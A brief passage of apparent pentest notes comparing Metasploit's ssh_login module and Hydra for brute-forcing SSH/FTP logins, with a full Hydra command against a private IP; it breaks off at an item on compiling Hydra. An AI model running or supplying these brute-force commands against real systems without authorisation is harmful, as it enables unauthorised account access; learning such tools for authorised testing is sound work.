Tips:

1. How to crack ssh/ftp ? (metasploit/hydra), Please Compare them.

   Metasploit SSH crack

     -- use auxiliary/scanner/ssh/ssh_login

   Hydra: (Please write with a strict syntax, no left spaces)

     -- hydra -F -V -L user.txt -P pass.txt 192.168.1.100 -S ssh

2. How to compile hydra by yourself,
